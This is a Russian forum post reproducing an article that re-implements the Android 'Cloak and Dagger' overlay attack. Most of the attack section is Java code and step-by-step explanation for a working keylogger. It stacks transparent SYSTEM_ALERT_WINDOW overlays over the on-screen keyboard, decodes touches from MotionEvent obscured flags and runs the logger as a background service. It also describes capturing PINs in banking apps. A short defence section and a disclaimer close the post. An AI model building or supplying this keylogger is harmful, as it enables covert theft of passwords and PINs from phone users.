• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

ПЕНТЕСТИНГ 0-day в Андроид. Cloak and Dagger, юзаем :)


virt

Просветленный
Просветленный
Регистрация
24.11.2016
Сообщения
706
Репутация
228
Приватка:

Читал ? Да-да, «новая уязвимость, которая представляет опасность для всех устройств на базе Android, вплоть до новейшей версии 7.1.2» и прочие страшные слова и их комбинации? Отлично, стало быть, проблема есть, а вот исходников в публичном доступе пока не просматривается. А это значит, что в этой статье тебя ждет самый настоящий 0day!

Insecure By-Design?

Компания Google стремится сделать Android подходящим для любых задач, наделяя платформу самыми разными функциями. Иногда это может выйти боком — так в этот раз и произошло. Группа товарищей из США в мае текущего года публично презентовала новый вид атак на Android под именем Cloak and Dagger.

Исследователи внимательно просмотрели стандартный SDK разработчика и смогли реализовать не совсем то, что задумывала компания Google. По их словам, получив всего два разрешения в системе (одно из которых не требует подтверждения от пользователя, а второе можно получить скрытно с помощью первого), приложение сможет сделать практически все, что захочет.


Атака вышла впечатляющей, сами исследователи предложили с десяток возможных вариантов — от создания фейковых окон популярных приложений до кражи паролей. По следам презентации ты мог видеть не только нашу , но и отчет — в них достаточно красок и эмоций.

Show me the code

Авторы подробно рассказали о сути происходящего, но не показали самого интересного — исходников приложения, реализующего такие атаки. А когда приходится верить людям на слово, сразу возникают подозрения в достоверности сказанного — может, сама атака не такая уж и серьезная или вообще неосуществима?

Чтобы развеять твои (да и свои собственные) сомнения, я решил протестировать основные возможности, которые описали исследователи: продвинутый кейлоггер, фишинговые окна и «подталкивание» пользователей к нажатию нужных клавиш.

Тут не придется, как в уязвимости Stagefright, переполнять буфер и генерировать payload — все доступно в стандартном API. Будем пользоваться только разрешением SYSTEM_ALERT_WINDOW и сервисом специальных возможностей Accessibility service.

SYSTEM_ALERT_WINDOW

Как ты, наверное, знаешь, в Android все приложения работают внутри песочниц. Это позволяет разработчику быть уверенным, что к данным его приложения никто не получит доступ со стороны, — конечно, если сам пользователь еще не организовал root-доступ к устройству.

Для атаки Cloak and Dagger используется одно малознакомое пользователям разрешение — SYSTEM_ALERT_WINDOW. Оно позволяет вывести на экран так называемое системное окно: View-элемент, который отобразится поверх любого другого UI, даже если это будет Activity из стороннего приложения. При этом перекрытые Activity об этом не узнают и продолжат работать так, как будто ничего и не произошло.

В документации Google называет это разрешение специальным и настоятельно не рекомендует им пользоваться. Впрочем, не все так щепетильны — Facebook с помощью его выводит уведомления о новых сообщениях.

Но самое интересное, что это разрешение даже не надо подтверждать, — любое установленное из Google Play приложение может создавать системные окна, если разрешение SYSTEM_ALERT_WINDOW заявлено в его манифесте.


Установка из Google Play

Создаем системное окно

Как ты уже понял, системное окно — это очень круто. С его помощью можно вывести данные поверх вообще любого элемента Android, даже если это будет окно системных настроек или телефонный звонок.


Перекрываем системным окном голосовой звонок
Чтобы вывести такое окно, понадобится класс WindowManager — системный сервис, отвечающий за стек всех View-элементов, которые отображены на экране. Подключиться к нему, как и любому другому систему сервису, можно совершенно свободно с помощью метода getSystemService.

Код:
WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);

Для вывода окна нужно задать параметры будущего UI, системным оно становится благодаря параметру TYPE_SYSTEM_ALERT.

Код:
WindowManager.LayoutParams params =
   new WindowManager.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT,
           WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,...

Дизайн системного окна задается с помощью привычной XML-верстки, никаких дополнительных ограничений нет. Для трансформации из макета в View-элемент применяется класс LayoutInflater. Вызов метода addView поместит на экран еще один слой графики — наше системное окно.

Код:
LayoutInflater inflater = (LayoutInflater) getSystemService(LAYOUT_INFLATER_SERVICE);
LinearLayout mOverlay = (LinearLayout) inflater.inflate(R.layout.fake_keyboard, null);
WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
wm.addView(mOverlay, params);

Как и любой View-элемент, системное окно можно разместить на экране по-разному: занять все пространство полностью или расположить его где-нибудь в углу экрана.

Ловим касания

Пользователь может взаимодействовать с системным окном точно так же, как и с любым другим элементом UI. Как именно будет обработано касание экрана, зависит от набора флагов в объекте params. Комбинацией флагов можно задать, к примеру, следующее поведение:
  • окно перехватывает все касания экрана, теряется возможность нажимать куда-либо еще, кроме как на открытое системное окно. Удобно для вирусов-блокировщиков;
  • пользователь может касаться окна и взаимодействовать с остальной частью экрана. Самый практичный вариант: можно вводить данные в окно, не нарушая работы остальных приложений;
  • окно «парит» в воздухе, касания проходят сквозь него, обрабатываясь перекрытыми элементами UI. Удобно для всплывающих уведомлений, не требующих реакции пользователя.
Чтобы начать обрабатывать касания, достаточно привязать к системному окну стандартный колбэк OnTouchListener(). Он будет вызываться каждый раз, как пользователь коснется экрана, даже если системное окно он не трогал:
Код:
systemOverlay.setOnTouchListener(new View.OnTouchListener() {
   @Override
   public boolean onTouch(View v, MotionEvent event) {
       ...
   }
   ...
}

Как видишь, вся информация тут в двух объектах — классы View и MotionEvent, координаты касаний и прочие интересные вещи хранятся в event:

Код:
event.getX();
event.getY();

Но просто так отслеживать касания нельзя, это было бы слишком наивно. Если взаимодействие было с каким-то другим окном, то координаты будут нулевыми. Также нельзя пропускать касания и одновременно знать координаты точки, которой коснулся пользователь.

Из документации к API можно сделать вывод, что системное окно — это просто «чит» в визуальном оформлении. Да, перекрыв любое Activity, можно создать хороший «блокировщик экрана», но больше из него не выжать. Однако авторы C&D посмотрели API чуть внимательней, и, оказалось, системное окно может быть умнее.


Invisible Grid Attack
Как видно из , пользователь набирает СМС и введенный текст сразу становится доступен стороннему процессу. Получается, с помощью одного разрешения можно создать полноценный кейлоггер! Что же, у нас есть подробное описание уязвимости и слайды из презентации. Повторим?

Для начала определимся с составом объекта params. Чтобы атака была незаметна, касания перехватывать нельзя. Значит, код создания окна будет выглядеть примерно так:

Код:
params =
   new WindowManager.LayoutParams(...
           WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,
           WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
           | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
           | WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH,
           PixelFormat.TRANSLUCENT);

Как именно удалось снять данные, авторы рассказали в своей на конференции Black Hat (слайды с 37 по 41). Информации там немного, но главное понять можно: нужно тщательно пропарсить данные из класса MotionEvent и создать слоеный пирог из нескольких системных окон.


MotionEvent

В объекте event, который формируется по результатам каждого касания, много различной инфы. Кроме координат (будут нулевыми), нам станет доступно описание (флаг) произошедшего взаимодействия — это позволяет отличить момент начала нажатия (ACTION_DOWN) от его завершения (ACTION_UP). Эта информация доступна всегда и без ограничений, вне зависимости от типа системного окна.

Код:
event.getFlags();

Но сначала нужно дорисовать UI кейлоггера. Он будет весьма затейливым — на экране должно быть одновременно как минимум 27 системных окон, по одному окну на каждую букву английского алфавита, плюс задний фон. Дизайн окна не имеет значения — нужен прямоугольник, совпадающий по размерам и размещенный ровно над ячейкой виртуальной клавиатуры.

Разработчик имеет возможность через объект params точно задать координаты для генерируемого окна, для этого есть параметр gravity и относительное смещение. На аппарате диагональю в пять дюймов перекрыть букву q получится по смещению (1100, -480).

Код:
params.gravity=Gravity.TOP;
params.x=posX;
params.y=posY;

Системные окна будут отрисованы в одном потоке, для удобства я сделал это с помощью цикла. В верхнем ряду десять букв, для них выходит примерно такой цикл. Конечно, делать ячейки цветными и видимыми совершенно не нужно, это только для наглядности.

Код:
for (int i = 0; i < 26; i++) {
   id++;
   if (i <= 9) addOverLay(id, Color.RED, ROW_1_X + (i * transition), ROW_1_Y);
   ...
}

Наложение окон на клавиатуру

Слоеный пирог

Когда ты перекроешь все интересующие области, можно взяться за парсинг MotionEvent. И хотя созданные системные окна не будут закрывать друг друга, формально каждый новый слой рисуется поверх другого — именно в этом противоречии кроется уязвимость ОС Android.

Точная координата касания будет известна после обработки данных от всех окон, отображенных на экране. Я собирал данные в массив, в который окна вносили изменения в зависимости от своего порядкового номера.

Код:
int[] flagsArray = new int[MAX_CELLS];
...
public boolean onTouch(View v, MotionEvent event) {
   flagsArray[id] = event.getFlags();
   ...
}

Когда пользователь касается буквы, у всех системных окон, нарисованных позже, флаг состояния остается нулевым. Так, если пользователь коснулся буквы t, пять нижних окон (фон + q, w, e, r) получат флаг 1, (FLAG_WINDOW_IS_OBSCURED). А уже начиная с шестого слоя (буква t) массив flagsArray будет заполнен нулями.

Вычислить точку касания можно, просто просмотрев состояния flagsArray, дождавшись его полного заполнения. Первый элемент с нулевым значением — это порядковый номер системного окна, которого коснулся пользователь.

Код:
for (int i = 0; i < flagsArray.length - 1; i++) {
   if (flagsArray[i] == 0) {
       position = i;
       break;
   }
}

Добавим немного тюнинга, чтобы кейлоггер был полноценным. Запустим его как сервис, поместив в новый процесс. Дополнительных разрешений на это не требуется, а эффективность возрастет.

Код:
<service android:name=".KeyLoggerService"
   android:process="my_process"/>

Алгоритм работает на удивление стабильно — я тестировал его на нескольких устройствах, и сбоя замечено не было. Флаги всегда одинаковые и выставляются строго по порядку. Несмотря на три десятка сгенерированных окон, производительность страдает не сильно — приложение занимает в памяти около четырех мегабайт. Кейлоггер фиксирует все касания без пропусков и ложных срабатываний.

Silent God-mode App Install

Авторы C&D решили не останавливаться на достигнутом и предположили, что может выйти, если зловредное приложение получит еще одно разрешение. Класс AccessibilityServiceпредназначен для помощи тем, кому тяжело справиться с функциями смартфона: слишком маленькие буквы, тяжело двинуть ползунок, проблемы с цветовым восприятием и так далее. Но его же можно для куда более интересных вещей: нажимать кнопки или читать строки из полей ввода других приложений.

Проблема только в том, что по умолчанию доступ к AccessibilityService закрыт, а дать разрешение на его использование юзер должен руками, да еще и не в один клик. Как раз эту проблему и побороли авторы C&D, создав нечто вроде все того же системного окна, которое полностью перекрывает экран и просит пользователя нажимать в разные места под невинными предлогами (видео ).

Из материалов не очень понятно, как именно это работает. Перекрыть экран включения сервиса Accessibility системным окном и так заставить пользователя это сделать не получится. Android 5.0 и выше не позволит включить сервис, зная, что на экране есть системное окно.


Попытка перекрыть запрос на выдачу разрешения

ПИН-коды, фишинг и прочее

С учетом того, насколько легко перекрыть чужое окно, системные окна могут быть проблемой — с помощью Invisible Grid легко перехватывать ввод ПИН-кодов и паролей в любом установленном приложении. Достаточно только разместить созданные слои в нужном месте, и данные у тебя в кармане.


Перехват ПИН-кода банковского приложения

Как защититься?

Чтобы защититься от описанной в статье атаки, нужно отключить на устройстве разрешение SYSTEM_ALERT_WINDOW. В «чистом» Android это сделать невозможно. Но есть хорошие новости для любителей сэкономить: китайские вендоры по умолчанию выключают это разрешение. Meizu и Xiaomi создали белый список из самых распространенных приложений (WhatsApp и прочие), для остальных действуют ограничения: нельзя использовать системные окна, ограничены возможности сервисов и не только.


Заключение

Уязвимость в дизайне архитектуры ОС Android — плохой знак. Авторы C&D создали баг-репорт еще год назад, но Google до сих пор ничего не исправила. Вполне возможно, что скоро мы услышим о еще более эффективных атаках и пора задумываться о втором смартфоне — только для важных данных, без игр и прочего.

Как обычно, эту информацию заклинаю тебя использовать только в благих намерениях — для защиты себя и планшета своих родителей. Если же я что-то упустил, пиши мне на почту или в комментарии. Удачи!
 
Верх Низ